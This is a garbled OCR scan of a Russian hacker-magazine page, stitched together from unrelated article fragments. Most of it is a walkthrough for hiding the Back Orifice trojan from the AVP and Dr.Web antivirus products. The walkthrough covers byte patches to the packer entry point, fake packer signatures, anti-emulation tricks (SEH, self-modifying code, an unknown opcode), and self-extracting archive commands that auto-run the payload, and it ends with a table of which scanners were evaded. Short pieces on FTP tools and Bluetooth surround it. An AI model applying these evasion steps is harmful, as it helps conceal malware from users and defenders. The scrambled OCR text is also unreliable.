ной новое файло и захочешь, да не пропус- 
тишь! 

Кстати, если ты серьезно помешан на 
"свежаке", прога должна поразить тебя в са- 
мое сердце - дело в том, что в ней реализо- 
вана функция... автоматической закачки но- 
вых файлов (работе которой, кстати, всячес- 
ки способствует встроенный в РірІпТо прос- 
тейший РТР-клиент)! 

А ВЗПКПЮЧЕНИЕ 

Я познакомил тебя со своим любимым набо- 
ром РТР-утилит. Каждая софтина в свое вре- 
мя тщательно отбиралась и подолгу тестиро- 
валась. Пользоваться или нет - дело твое. 

Но лично мне описанный софт помогает сэ- 
кономить массу времени, которое уходит на 
изучение более интересных вещей. РТР-сер- 
вер заставил меня забыть о шарах. Я поста- 
вил его на соседней машине, в которую ус- 
тановил два объединенных в ПАЮ винчесте- 
ра. Теперь 200 гигабайт фильмов, софта и 
музыки находятся под моим полным контро- 
лем. Атакой задел, поверь, сближает меня с 
народом лучше всякого "Рондо" :). ~=Г~ 





^ Учебник РТР: ѵ™ѵѵ.сіЦогит.ги/іпІегпе(/Цр іи1/таіп а.$1іітІ 
л Пошаговое руководство по Зегѵ-ІІ: 
тт. ток-сепіге . коріеѵо . пеІ/Др/зиЗ/ 

5егѵ-ІШт 

л Что такое файловые серверы: 
ѵѵтѵ.етапиаІ.ги/сді-Ьіп/де1.рІ?ісІ=44&ГогтаІ=зНоѵѵ 
л Протокол РТР: 

ѵѵтѵ.етапиаІ.ги/сді-Ьіп/де(.рІ?ісІ=1807&Рогта(=5Ііоѵѵ 

л Большой обзор РТР-клиентов: 

тт. пѵкг . кигЬазз . пеІ/даіггеІа/Ыт/ 1 43 . Мт 
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а минувшие годы на сванку истории были отправлены десятки тысяч вирусов, троянских коней, систем удаленного 
администрирования и прочей уголовной братии. Жизненный цикл этих созданий (далее по тексту просто "вирусов") очень недопог. 
Стоит только попасть в папы к Евгению Касперскому (не путать с Крисом Касперски - мы не только разные люди, но даже не 
однофамильцы!), как в реестр "их разыскивает полиция" добавляется новая запись, после чего прога бьется влет... 



МЕТОДЫ ОБМПНП ПНТИВИРУ СНЫХ ПРОГ 



л 



^ постановка задачи 

М ожет ли вирусная экспансия 
противостоять антивирусной 
агрессии? Вопрос совсем не 
так прост, каким кажется. С 
одной стороны, создать 
принципиально недетектиру- 
емый вирус никому не уда- 
лось (и в обозримом буду- 
щем вряд ли удастся). С другой стороны, 
памятуя о том, что стадо мышей валит ко- 
та, можно сказать, что сотня тупейших, но 
еще не известных науке вирусов, намного 
опаснее одного полиморфного аристокра- 
та. При условии, что вирус не ловится эв- 
ристиком (а перехитрить эвристик очень 
легко), до тех пор пока он не попадет в ба- 
зу данных антивируса, вирус будет жить и 
плодотворно размножаться. Ну а потом... 
"мавр сделал свое дело" и эстафету перех- 
ватит другой. Причем создавать новый ви- 
рус "с нуля" совершенно не обязательно, 
при желании достаточно слегка подмазать 
исходные тексты уже известной антивирусу 
программы (например, откомпилировать 
другим компилятором). Если же исходных 
текстов нет, можно поиздеваться непосре- 
дственно над самим исполняемым файлом. 
Вот об этом мы сейчас и поговорим! 



В экспериментах участвуют: система уда- 
ленного администрирования Васк Огііісе 1 .0 
(вместо нее можно использовать любой дру- 
гой исполняемый файл или ОЩ, антивирусы 
Ог.ѴѴЕВ, АѴР, хакерский редактор НІЕѴѴ, ре- 
дактор ре-файлов РЕ-ТООЬЗ или І-ОгсіРЕ, упа- 
ковщик АЗРаск, а также некоторые другие 
тулзы, упоминаемые по ходу повествования. 

Л НЕМНОГО ТЕОРИИ 

И ведь находятся же такие идиоты, которые 
безоговорочно полагаются на антивирусы, и 
самодовольно похрюкивая, заявляют, что все 
файлы на данном диске/сайте проверены са- 
мыми последними версиями АѴРДЗг.ѴѴеЬ и 
типа здесь все ништяк. Наивные! Если анти- 
вирус говорит, что он ничего не нашел, то и 
понимать его следует буквально. Антивирус. 
Ничего. Не. Нашел. Стало быть, плохо искал! 

Анализ показывает, что подавляющее 
большинство антивирусов используют сигна- 
турный поиск с жесткой привязкой к точке 
входа или физическому смещению в файле. 
Что все это значит? Не вдаваясь в неразбе- 
риху терминологических тонкостей, отметим, 
что сигнатурой называется уникальная пос- 
ледовательность байт, однозначно иденти- 
фицирующая вирус. Сигнатура может быть 
сплошной (например, "РЕ АО ВЕ ЕР") или 



разряженной (например, " ОЕ ?? ?? АО ?? ВЕ 
** ЕР", где знак "??" обозначает любой байт, 
а "**" - любое количество байт в данной по- 
зиции). Поиск по разряженной сигнатуре 
иначе называется поиском по маске, и это - 
наиболее популярный алгоритм распознава- 
ния на сегодняшний день. 

Для достижения приемлемой скорости 
сканирования антивирусы практически ни- 
когда не анализируют весь файл целиком, 
ограничиваясь беглой проверкой одной-двух 
ключевых точек (допустим, окрестностей 
точки входа в файл, т.е. тех ячеек, с которых 
и начинается его выполнение). Реже исполь- 
зуется привязка к смещению сигнатуры от- 
носительно начала файла. 

Полиморфные вирусы пятого и шестого 
уровня полиморфизма, не содержащие ни 
одной постоянной последовательности байт, 
сигнатурным поиском уже не обнаруживают- 
ся, и для их детектирования приходится раз- 
рабатывать весьма изощренные методики, 
самой известной из которых является эмуля- 
ция процессора (называемая также техноло- 
гией виртуальной машины). Антивирус про- 
гоняет подозреваемый файл через эмулятор, 
дожидается, пока полиморфный движок рас- 
шифрует основное тело вируса (если файл 
действительно зашифрован), после чего 
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применяет старый добрый сигнатурный по- 
иск. Это довольно ресурсоемкая операция, 
и без особой нужды антивирусы к ней стара- 
ются не прибегать. 

Поскольку зараженный файл может быть 
упакован (и тогда вирусные сигнатуры ока- 
жутся безнадежно искаженными), антивирус 
должен быть готов распаковать его. Простей- 
шие упаковщики распаковываются все тем же 
эмулятором, но монстров, снабженных боль- 
шим количеством антиотладочных приемов 
(АЗРаск, ЕЕІоск и другие), так не возьмешь, 
и для борьбы с ними приходится реализовы- 
вать специальные распаковщики, опознаю- 
щие "свой" упаковщик по его сигнатуре... 

А ЧЕГО ИЫ ДЕЛИТЬ НЕ БУДЕМ 

Подмена вирусной сигнатуры зараженного 
файла - это худшая из идей, которая только 
может придти в голову. Начнем с того, что 
сигнатуры прямым текстом нигде не хранят- 



ся. Современные антивирусные базы предс- 
тавляют собой весьма навороченные струк- 
туры данных, на реконструкцию формата ко- 
торых легко потратить всю оставшуюся 
жизнь. При наличии неограниченного сво- 
бодного времени сигнатуру можно найти и 
вручную, просто затирая различные байтики 
в зараженном файле и скармливая его анти- 
вирусу, дожидаясь, когда он перестанет ру- 
гаться. Но стоит учесть, что детектирование 
вируса, как правило, осуществляется по 
нескольким независимым сигнатурам, живо- 
писно размазанным по всему файлу и, что 
самое неприятное, варьирующимся от анти- 
вируса к антивирусу. К тому же, правка ис- 
полняемых файлов в бех-редакторе - заня- 
тие не для слабонервных. Для сокрытия сиг- 
натуры необходимо переписать один или 
несколько фрагментов вируса, заменяя сиг- 
натурные ячейки аналогичными им команда- 
ми/данными, но имеющими другое машин- 



Подмена вирусной сигнатуры 
зараженного файла - это худшая из идей, 
которая только может придти в голову. 



КРИПТОГРЯФИЯ на ПЕНЬКЕ 

Я паковываем "паленую" прогу любым подходящим архивато- 
ром, поддерживающим шифрование, и отправляем архив 
пользователю вместе с паролем и инструкцией по его расшиф- 
ровке. Пользователь распаковать файл сможет, а антивирус - 
нет. Правда, при активном антивирусном мониторе заражен- 
ный файл будет автоматически проверен после его извлечения 
(а у большинства пользователей монитор активен). К тому же 
параноидально настроенные юзеры склонны проверять все за- 
пускаемые файлы вручную. Так что, увы, предложенная идея го- 
дится лишь для обхода почтовых сторожей, чтобы те не приби- 
ли вложения еще на подлете. 

Как вариант, можно упрятать вирус в самораспаковывающийся 
архив, а для автоматизации ввода пароля использовать такую 
штуку, как ЬаС-файл. Хрен какой антивирус его расшифрует! 
Применительно к гір'у, шифрование и упаковка целевого файла 
выглядит приблизительно так: "рк 2 Ір.ехе -абсі -тахітит -5Тх 
раззѵѵогсІ=М$зих бзС.ехе згс.ехе", а распаковка (с автоматичес- 
ким запуском!) так: "сЫ.ехе -раззѵѵогсІ=М$зих & згс.ехе", где 
М$зих - пароль, бзі.ехе - упакованный файл, а згс.ехе - файл- 
носитель. Если не хочешь возиться с командными файлами - 
юзай ВАР - он позволяет автоматически запускать распакован- 
ную программу после ее расшифровки. 

Сначала необходимо создать первичный зашифрованный но- 
ситель. Для этого, предварительно упаковав подобный файл 
гір'ом (с паролем), тыкаем в неголевой клавишей мыши и выби- 
раем пункт "добавить файлы в архив". Затем в появившемся ди- 
алоговом окне взводим галочку напротив "создать зТх-архив", в 
закладке "дополнительно" выбираем "параметры зТх", изменя- 
ем путь распаковки с "ргодгат Тііез" на текущую папку, и в стро- 
ке "выполнить после распаковки" пишем "стсі.ехе /с сЫ.ехе - 
ехігасі: -раззѵѵогсІ=М$зих&згс.ехе". В "режимах" говорим ВАВ'у 
"не показывать начальный диалог", а в закладке "текст и значок" 
выбираем иконку по вкусу и нажимаем на "ОК". Все! После за- 
пуска упакованного файла автоматически расшифруется и за- 
пустится исходная подопытная программа, гарантированно об- 
ходящая все антивирусные заслоны. Однако под ѴѴіпбоѵѵз 9х 
это, естественно, работать не будет (в ней нет стсі.ехе и вооб- 
ще все по-другому). 



ное представление. А если вирус использует 
самомодифицирующийся код или тем или 
иным способом контролирует целостность 
своего тела? Зашифрованные же вирусы не- 
посредственной модификации вообще не 
поддаются, а для их расшифровки опять-та- 
ки необходима квалификация. В общем, 
мрак... Но мы будем действовать по плану 
(да! у нас есть два мешка отличного плана!). 

кок иыбэден действовать 

Первое (и самое простое), что приходит на 
ум - обработать файл каким-нибудь навес- 
ным упаковщиком/протектором, полностью 
уничтожающим все сигнатуры, и скормить 
его антивирусу. Нехай подавится. Что?! Не 
хочет давиться? Значит, антивирус успешно 
переварил упаковщик и дорвался до внут- 
ренностей оригинального файла. Тут-то сиг- 
натуры и поперли. 

Можно ли противостоять автоматическим 
распаковщикам, ничего не смысля в ассемб- 
лере и не разрывая свою задницу напопо- 
лам? На первый взгляд, стоит лишь откопать 
в Сети малоизвестный упаковщик, поновее 
да покруче, и все будет торчком. Взять, нап- 
ример, 0В5ЮІІШ, который многим хакерам 
зубы пообломал, и с которым еще не справ- 
ляется ни один антивирус. 

Как одноразовый шприц такой прием впол- 
не подойдет, но вот на долгосрочную перс- 
пективу его не натянешь. Как только выбран- 
ный упаковщик станет популярным, антивиру- 
сы тут же сподобятся его распаковывать! Увы, 
эта военная хитрость слишком ненадежна. 

А другие приемы борьбы есть?! Да, и не 
один, а, как минимум, целых три: уничтоже- 
ние сигнатур упаковщика, внедрение под- 
ложных сигнатур и дезактивация эмулятора. 

А УНИЧТОЖЕНИЕ сигнатур 

Если выбранный нами упаковщик настолько 
крут, что не может быть распакован на вирту- 
альной машине антивирусного эмулятора 
(универсальном распаковщике), антивирус 
пытается опознать упаковщик "в лицо", пере- 
давая бразды правления соответствующей 
процедуре распаковки, либо распаковываю- 
щей файл самостоятельно, либо инструктиру- 
ющей эмулятор на предмет обхода антиотла- 
дочных приемов. Исказив сигнатуру упаков- 
щика, мы предотвратим его опознание, обло- 
мав антивирус по полной программе. При- 
чем, в отличие от сигнатур самих вирусов, до 
которых еще докопаться надо, сигнатуры по- 
пулярных упаковщиков хорошо известны. 




л Не пытайся рас- 
ценивать эту статью 
как призыв писать 
или того пуще 
распространять ви- 
русы. На это есть 
УК и блюдущие ор- 
ганы. Моя миссия 
проще. Я лишь по- 
пытался показать (и 
доказать), что даже 
обычный юзер мо- 
жет легко поиметь 
не одну сотню 
пользователей, 
свято верящих в чу- 
додейственную си- 
лу свежеобновлен- 
ных антивирусов. 
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В частности, для А5 Рас к/А5 Ргоіесі доста- 
точно затереть первый байт точки входа, по- 
меняв 606 (опкод команды РІІ5НАО) на 906 
(опкод команды МОР). Строго говоря, это не 
совсем корректный хак, нарушающий балан- 
сировку стека, однако никак не сказываю- 
щийся на работоспособности подавляющего 
большинства программ. 

Как мы будем действовать? Возьмем 
Ьо2к.ехе (или любой другой файл) и, пред- 
варительно убедившись, что он успешно 
опознается всеми антивирусами, пропустим 
его через АЗРаск, а затем повторим проце- 
дуру опознания вновь. И АѴР, и Ог.ѴѴЕВ про- 
должают визжать, подтверждая тот факт, что 
данный упаковщик им хорошо известен. 

Загружаем файл в НІВЛ/, однократным на- 
жатием на <ЕМТЕР> переходим в бех-ре- 
жим, давим <Р5>, перемещаясь в точку вхо- 
да, жмем <РЗ> для разрешения редактиро- 
вания, говорим "90", подтверждая серьез- 
ность своих намерений клавишей <Р9>. 
Ог.ѴѴЕВ насупился и молчит. АѴР тоже затк- 
нулся. Естественно, помимо МОР, можно ис- 
пользовать и другие однобайтовые команды, 
такие как: іпс еах/406, іпс еЬх/436, іпс 
есх/416, іпс есІх/426, іпс езі/466, іпс есІІ/476, 
бес еах/486, бес еЬх/4Ьб, бес есх/496, бес 
ебх/4аб, хсбд ебх,еах/93б и многие другие. 
Не надо злоупотреблять 906 - иначе антиви- 
русы просто пополнятся новой сигнатурой! 

Если лень возиться с біеѵѵ'ом, воспользуй- 
ся любым подходящим скремблером - прог- 
раммой для автоматического затирания сиг- 
натур. Их легко найти в Сети, правда, боль- 
шинство из них ни хрена не работают, пото- 
му что искажают совсем не те сигнатуры, на 
которые реагируют антивирусы, или в огол- 
телом порыве энтузиазма гробят файл так, 
что вместе с антивирусом его перестает уз- 
навать и сам распаковщик. Так, в частности, 
ведет себя незаслуженно популярный НібеРХ. 

Л ВНЕДРЕНИЕ ПОДКОЖНЫХ 

сигнатур 

Как альтернативный вариант - можно не за- 
тирать сигнатуру оригинального упаковщика, 
а, напротив, нафаршировать файл подлож- 
ными сигнатурами прочих крутых упаковщи- 
ков. Ошибочное распознавание упаковщика 
препятствует его распаковке, и антивирус 
тихо кончает, отпуская вирус восвояси. Од- 
нако этот путь не обходится без проблем. 
Первое и главное - где брать сигнатуры? 
Программы-протекторы (такие, скажем, как 
ЕРРгоІ) подкладывают сигнатуры, надерган- 
ные из ре-сканеров, против которых они, 




Патчим файл, защищенный ЕРРгоІ'ом, заменяя 4 однобайтовые команды ІМОР (они обведены красной рамкой) 
двумя другими двухбайтовыми командами 



Нажимаем <Р9> для сохранения изменений 
в файле и прогоняем его через АѴР. 



собственно, и нацелены. Антивирусы могут 
использовать другие сигнатуры, и тогда на- 
живка не срабатывает. 

Возьмем Ьо2к.ехе, упакуем его 
АЗРаск'ом и внедрим одну (а лучше нес- 
колько) подложных сигнатур, услужливо 
предоставленных ЕРРгоІ'ом. Пусть для оп- 
ределенности это будет ІЕІоск. В окне 
"зеІесГ указываем путь к подопытному фай- 
лу, в окне "іпзеб зідпаіиге" отмечаем выб- 
ранную сигнатуру (по одной за раз) и давим 
на "Ргоіесі ЕР". Зовем антивирус и говорим 
"фас!": АѴР с победоносным хрюком свиньи, 
заживо спускаемой в унитаз, разрывает 
противника в клочья. Ог.ѴѴЕВ хотя и не рас- 
познает Васк ОгіГісе, но ругается на "воз- 
можно ѵѵіп.ехе вирус", что не есть хорошо. 

Причина провала операции в том, что не 
мы одни такие умные. Слишком уж часто ха- 
керы пытались надурить АѴР с помощью 
ЕРРгоІ'а. Но сможет ли этот антивирус рас- 
познать те же яйца, если их развернуть в 
профиль? Давай проверим! Загружаем обра- 
ботанный файл в НІЕѴѴ, дважды нажимаем 



<Е!\ІТЕП> для перехода в ассемблерный ре- 
жим, давим <Е5> для перехода на епігу 
роіпі и наблюдаем, как на скрине сверху 
картину (наименование и расположение ма- 
шинных команд могут кардинальным обра- 
зом отличаться от приведенных, ведь 
ЕРРгоІесІ - полиморфный протектор, но суть 
останется неизмененной). 

Находим цепочку из четырех или более 
инструкций ІЧОР и, нажав <ЕЗ>, давим на 
<Е!\ІТЕВ> и вводим что-то вроде асісі еах, 
еЬх/зиб еах, ебх (где "асісі еах, ебх" добавляет 
к регистру еах значение регистра ебх, а "зиб 
еах, ебх" вычитает его оттуда). В результате у 
нас получается, как на скрине внизу. 

Нажимаем <Е9> для сохранения измене- 
ний в файле и прогоняем его через АѴР. Ну 
и почему мы не кричим? Куда девалось наше 
самодовольное похрюкивание? Всего две ко- 
манды затоптали, а какой результат!!! Впро- 
чем, наше положение крайне ненадежно, и 
поводов для пьянки нет никаких. Едва разра- 
ботчикам антивируса станет известно об 
этом инциденте - в сигнатурной базе поя- 
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вится новая строка. К тому же Ог.ѴѴЕВ по- 
прежнему матерится на ѵѵіп.ехе вирус... 

^ ПЕЗПКТИВРЦИЯ эмулятора 

Что на это сказать? Неважно, кто поит де- 
вушку. Важно - кто ее танцует! И пока ос- 
тальные будут с воплями топтать сигнату- 
ры, мы ударим в самое сердце антивиру- 
са - в его виртуальную машину. Преодо- 
леть эмулятор можно различными путями: 
а) вставить конструкцию, которую антиви- 
рус проэмулировать не в состоянии (са- 
момодифицирующийся или самотрассиру- 
ющийся код, обработку структурных иск- 
лючений и т.д.); б) вставить команду, 
привязывающуюся к своему местоположе- 
нию в памяти; в) использовать команду, 
не известную эмулятору. 

Код, отвечающий одному или несколь- 
ким вышеприведенным пунктам, мы будем 
называть антиотладочным кодом. Будучи 
внедренным в упакованный файл, он под- 
ложит хорошую свинью виртуальной ма- 
шине и угробит антивирус еще до того, 
как распаковщик успеет получить управле- 
ние. Тупое пополнение сигнатурной базы 
положение не спасет, и разработчикам 
придется всерьез засесть за совершен- 
ствование виртуальной машины, что не 
только дорого, но и хлопотно. Так что без 
крайней нужды на это никто не пойдет, и 
предложенная идея будет работать долго, 
укрывая любимый софт от загребущих ан- 
тивирусных лап. 

Существует множество способов внедре- 
ния своего кода в чужой исполняемый 
файл. Вирусы, как правило, раздвигают 
последнюю секцию, записываясь в ее ко- 
нец, или создают новую. Дело это муторное 
и к тому же слишком заметное. Антивирусы 
матерятся так, что уши вянут. То же самое 
относится и к вторжению в заголовок. 

Мы же поступим умнее и внедримся 
между секциями в середину файла. Берем 



файл, упакованный АЗРаск'ом, грузим его 
в НІВ/Ѵ, нажимаем <Е1ЧТЕВ> для перехода 
в бех-режим, давим <Е8> для входа в ре- 
жим заголовка, жмем <Е6> для просмотра 
таблицы секций, подгоняем курсор ко вто- 
рой секции файла и ударяем по ЕІМТЕВ'у. 

Теперь, прокручивая курсор вверх, мы 
оказываемся в чертогах секции .Іехі. В 
этой секции обычно и размещается машин- 
ный код нормальных программ, так что на- 
ше появление не вызовет никаких подозре- 
ний у антивируса. 



Если здесь расположены не нули, а что- 
то другое, значит, свободное пространство 
отсутствует. В этом случае попробуй упако- 
вать файл с другой степенью сжатия или 
поищи свободное место в других секциях. 

В большинстве случаев АѴР/Ог.ѴѴЕВ это 
воспринимают довольно благосклонно, но 
никаких гарантий их лояльности у нас нет, 
и внедрение антиотладочного кода в .Іехі 
намного более предпочтительно. 

Внедрять свой код можно в любое мес- 
то, адрес которого начинается с точки (ес- 
ли точка не стоит, значит, данная область 
файла не отображается в виртуальную па- 
мять - загрузи файл в ре-ебііог, войди в 
раздел зесііоп и приравняй ѵігіиаі зіхе сек- 
ции .Іехі к ее гаѵѵ зіге). В нашем случае это 
может быть любой адрес из интервала 
31490Е06 - 31491 РОИ. Допустим, мы возь- 
мем 31491006 как наиболее круглый. Сю- 
да-то и будет направлена новая точка вхо- 



Существует множество способов 
внедрения своего кода в чужой 
исполняемый файл. 




Л НІЕѴѴ 

шлм.ѵѵазт.ги/іооіз/ 
1 3/Міеѵѵ.гір 
л ОВЗЮШМ 
ѵиѵвд.шзт.ги/іооіз/ 
12 /ОЬзісІіит. 2 Ір 
Л НісІеРХ 

мтѵ.ѵѵазт.ги/іооіз/ 
1 2/НісІеРХ.гір 
л ЕРРго( 

тт.ѵѵавт.ги/іооіз/ 
8/ЕРРгоі.гір 
Л РЕ-ТООЬЗ 
шлм.ѵѵазт.ги/іооіз/ 
б/реіооіз.іір 
л АЗРаск 
шлм.азраск.сот 
л (ЕІоск 

ѵтѵѵ.ѵѵазт.ги/іооіз/ 
12/ІеІоск.гір 
л Или просто 
топай на 

шлм.ѵѵазт.ги/іооі- 
Іізі.ркр и сливай 
оттуда все, что 
тебе надо. 
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В НОМЕРЕ: 



□ ЛУЧШИЕ КАРМАННЫЕ 

КОМПЬЮТЕРЫ 

Тестирование Ні-ЕпсІ 
моделей 

□ ВЫБИРАЕМ УЛЬТРА- 

ПОРТАТИВНЫЙ 

НОУТБУК 

□ ШАГ ЗА ШАГОМ 

• Презентации РоѵѵегРоіпі 
на Роскеі РС 

• ІСО для Золу Егісззоп 
Р800/Р900 

□ ОБМЕН ОПЫТОМ 

• Синхронизируемся через 
Віиеіооііі 



• Определяем срок 
службы аккумулятора 



тс 



МОБИЛЬНЫЕ 

КОМПЬЮТЕРЫ 






да, для изменения которой проще всего 
прибегнуть к ре-есШог'у. 

Внимание! Точка входа задается не в аб- 
солютных, а в относительных виртуальных 
адресах, отсчитываемых от базового адреса 
загрузки файла (ітаде базе), и ре-есШог го- 
ворит, что в нашем случае она равна 
01 Е001 , что при базовом адресе в 
031400006 дает 01Е0016 + 031400006 == 
0315Е0016. Именно по этому адресу наш 
код должен возвратить управление, чтобы 
упакованный файл смог начать работу. Коро- 
че говоря, для вычисления действительного 
адреса точки входа мы должны сложить зна- 
чения полей Епігу Роіпі и Ітаде Вазе, обос- 
новавшихся за кнопочкой "орііопаі беасіег". 
Как? Ты не умеешь складывать шестнадцате- 
ричные значения? Ну так запусти виндовый 
калькулятор и, переведя его в "научный" ре- 
жим, нажми клавишу <Е6>. Как вариант, 
можно затоптать комбинацию <АИ>+<=> в 
біеѵѵ'е, только учти, что вместо суффикса "6" 
это животное использует сишный префикс 
"0х", и число 12346 записывается как 
0x1234. Запиши полученный адрес точки 
входа на бумажку, т.к. он нам еще не раз по- 
надобится в дальнейшем. 

Соответственно, для вычисления ВѴА-ад- 
реса антиотладочного кода мы должны вы- 
честь из него ітаде базе. Тогда мы получим: 
031491006 - 031400006 == 91006. Т.е. бе- 
рем адрес начала внедряемого в файл кода 
(который, как мы помним, в нашем случае 
равен 031491006), вычитаем из него ітаде 
базе, сообщенный біеѵѵ'ом или ре-есіііог'ом 
(031400006), и получаем 91006. Как вариант 
можно затоптать кнопочку ЕЮ (Еііе босаііоп 
Саісиіаіог - Калькулятор Файловых Локаций). 
Перемещаем радиокнопку в положение 
Ѵігіиаі Асісігезз, топчем 03149100 и давим 
"саісиіаіе", после чего поле ПѴА будет со- 
держать искомое значение. 

Записываем это значение в поле Епігу 
Роіпі и вновь возвращаемся в НІЕѴѴ. Если 



все было сделано правильно, после двой- 
ного нажатия на <ЕІ4ТЕП>, последователь- 
ное нажатие клавиш <Р8> и <Р5> перене- 
сет нас аккурат в окрестности новой точки 
входа. К внедрению антиотладочного кода 
готов? Блин... ну ты же не пионер... 

Л пнтиотппдочный код 

Начнем с самого простого - с самомодифи- 
цирующегося кода. Забросим на стек 
инструкцию перехода на оригинальную точ- 
ку входа и немедленно ее исполним. Для 
этого нам предстоит набрать следующую 
последовательность команд: тоѵ еах, абсо- 
лютный адрес старой точки входа/ризб 
ОЕОРР/рр езр, где "ЕОРРб" представляют 
собой машинный код команды рр еах. Эк- 
ран НІБ/Ѵ'а после завершения ввода дол- 
жен выглядеть приблизительно как нижнем 
правом рисунке. 

Прогнав файл через АѴР, мы убеждаем- 
ся, что он даже и не порывается хрюкать! 
Ог.ѴѴЕВ рычит, но это явление временное, 
и скоро мы его обломаем. Открываем на 
радостях свежее пиво! Малость промочив 
горло и ощупав растущий живот, мы прис- 
тупаем к более сложным фокусам. А имен- 
но - передаче управления посредством 
структурного исключения, более известно- 
го под аббревиатурой 5ЕН. Никакие изве- 
стные мне антивирусы ЗЕН не эмулируют, 
отладчики от него едут крышей, а начинаю- 
щие хакеры тонут в диспетчере, умирая за 
трассировкой от старости и истощения. 

Один из вариантов реализации антиот- 
ладочного кода выглядит так: заталкиваем 
в стек адрес старой точки входа (в нашем 
случае это 315Е0016), заталкиваем указа- 
тель на предыдущий обработчик (он лежит 
в двойном слове по адресу Р5: [0]) и реги- 
стрируем свой обработчик установкой 
Б5:[0] на вершину стека. Затем возбуждаем 
исключение, например, порываемся делить 
на ноль, выполняем несуществующую ма- 




Внедрение команды ргеіесіб (первые три байта, выделенные жирным) срывает іііеѵѵ’у крышу, побуждая его неп- 
равильно декодировать последующий код, в результате чего инструкция тоѵ еах, 31 5Е001 Гі (запись в регистр 
числа 31 5Е001 Гі) превращается в асМ [еах] [031 5Е001 ],Ыт (добавить к ячейке памяти, расположенной по адресу 
еах + 315Е0016, значение регистра Ыт) 
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МЕТОД 


АѴР 


ошв 


"голый" Ьо2к.ехе 


ЛОВИТ 


ловит 


упаковка ОВЗШШМ'ом 


молчит 


молчит 


упаковка АВРаск'ом 


ловит 


ловит 


упаковка АВРаск'ом с затиранием 606 


молчит 


молчит 


НійеРХ 


ловит 


ловит 


А$Раск + $ЕН 


молчит 


молчит 


АЕРаск + ЕРРгоІ 


ловит 


возможно ѵѵіп.ехе вирус 


АЗРаск + ргеіесіб 


молчит 


молчит 


АВРаск + ЕРРгоІ + расіб 


молчит 


возможно ѵѵіп.ехе вирус 


упаковка в архив с паролем 


ловит монитором 


ловит монитором 


АВРаск + самомодифицирующийся кор 


молчит 


ловит 



шинную команду или обращаемся к несу- 
ществующему/защищенному адресу памяти 
(скажем, лезем в ядро). 

И что же? Оба антивируса молчат, а от- 
ладчики при достижении строки 31491116 
забрасывают нас глубоко в ядро, и далеко 
не каждый хакер знает, как заставить зоіі- 
ісе отобразить истинный адрес перехода 
(правильный ответ: дать команду хігате). 

Напоследок - подсунем виртуальной ма- 
шине не известную ей инструкцию. Что-ни- 
будь из набора мультимедийных команд Р- 
III +. Вот хотя бы ргеіесісб [еах], которой со- 
ответствует следующий опкод: ОР 18 00, и 
которая осуществляет упреждающую пред- 
выборку данных в кэш. Вряд ли антивирусы 
станут ее эмулировать. Но разве они не мо- 
гут просто пропустить ее? В том-то и дело, 
что не могут! Неизвестная инструкция имеет 
неизвестную длину, и определить ее грани- 
цы эвристическими методами невозможно. 



Эмулятор просто не будет знать, откуда ему 
продолжать разбор кода... 

Приведенный выше код раскалывается 
всеми современными антивирусами, но 
стоит изменить первые три байта на ОР 1 8 
00, как эмуляторы склеят ласты. Кстати го- 
воря, у біеѵѵ'а тоже едет крыша (см. 
нижний скрин). 

Подытожив наши достижения, мы полу- 
чим табличку, которой по праву можем гор- 
диться. 

А ЗПКПГОЧЕНИЕ 

Тот, кто пользуется системами удаленного 
администрирования, джойнерами, клавиа- 
турными шпионами и тому подобными при- 
ложениями, знает, что лучшие представите- 
ли этой братии очень быстро попадают в 
"черные списки" антивирусных прог, после 
чего их ценность падает практически до ну- 
ля. Это неприятное обстоятельство заставля- 



Напоследок - подсунем виртуальной 
машине не известную ей инструкцию. 



АНТеат ЕР Ргоіесіог ѵО.З ргіѵаіе 



Зеіесі ПІе 

| Ц : \Ріаскег\ипраск\Ьіп\$сгатЫег\Ьо2к. а$раскесІ1 ^1 

Іпзегі зідпаіиге: 



И 



к.кгуріог 9 / кгуріог а -> г!зс & пооЛезра 
НісгозоТі Чізиаі С++ 7.0 
РС-СиагсІ 4.03 - 4.15 -> ЕПадо^е Секііс 
РЕ Сгурі 1.02 -> гапЦоп, кіііа & асрігет 
РЕ Ьоск Ш 2.04 -> :НЩЛ5: 

РЕЗНіЕЮ 0.2 / 0.2Ь / 0.2Ь2 -> ШКіН 
РЕіііе 2.2 -> Іап І_иск 
Зраізбег 1.0 - 3.0 -> Тоіа/Йпок 
Зіопе’з РЕ Епсгуріог 2.0 
ЗЧКР І.Зх -> Раѵоі Сегѵеп 

ШИ 



1 -> іЕ! 



РгоіесТСО НеигМіс -> Ріппасіе 



І_од: 



ЕпТгцРоіпі: 315Е0016 



Ией ЕпігуРоіпі: 31600176 

Пгіііпд ехіга сіаіа 

Зесііопз зиссеззіиііу гепапеЦ 
Кеаі ЕР сгурипд... 



Л 






р Вепате зесбопз 

[7 Оріітіге ПІе 

|7 Сгурі ЕпІгуРоіпІ 



Зесііопз пате: |іЕІоск 
Ргоіесі ЕР АЬоиІ 



АпІІСепОЕР Рюіесііоп 



Внедрение подложных сигнатур упаковщиков с помощью ЕРРгоІ 



ет большинство юзеров впустую тратить 
свое свободное время. Кто-то начинает ис- 
кать софт на замену, кто-то замирает в ожи- 
дании свежих версий, которые антивирусам 
пока еще не известны. Но это - неправиль- 
ный подход! Этой статьей я хотел показать 
тебе, что есть способ лучше. Ну, в самом 
деле, зачем скакать с проги на прогу, когда 
свой любимый, проверенный временем софт 
можно модифицировать так, что все антиви- 
русы пойдут гулять лесом?!! Тем более если 
учесть, что методы модификации, о которых 
я тебе говорил, настолько просты, что вос- 
пользоваться ими может любой более-менее 
продвинутый пользователь. 
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"апзі" Онсииов (апзііаііпіоз.ш) 






V 



% ^ 






П ак известно, продвинутые инопланетяне используют для общения непосредственный мысленный контакт. Преимущества телепатии 
очевидны. Во-первых, не нужно утомляться и шевелить ртом. Во-вторых, можно транслировать не только речь, но и зрительные 
образы - картинки, видео, а также запахи и другие, в том числе весьма абстрактные ощущения. И еще целая масса дополнительных 
удобств - мобильность, конфиденциальность и селективность общения. Находясь в тесной компании, можно незаметно для окружающих 
спокойно (или страстно) направлять поток сознания на свою избранницу или, скажем, нужное тебе должностное лицо. 




ВМЕТООТН И ДРУГИЕ ТЕХНОЛОГИИ ПЕРЕДПЧИ МЫСЛЕЙ 



л 



будущее наступило 

К огда человек научится пол- 
ностью управлять информаци- 
онными полями вокруг себя? 
Когда же наступит это счаст- 
ливое будущее? К сожалению, 
изучение человеческого мозга 
идет чрезвычайно туго. Иноп- 
ланетяне тоже явно не торо- 
пятся делиться знаниями. Тем не менее, уже 
сейчас можно говорить о прообразах альтер- 
нативного общения. Устройства, позволяю- 
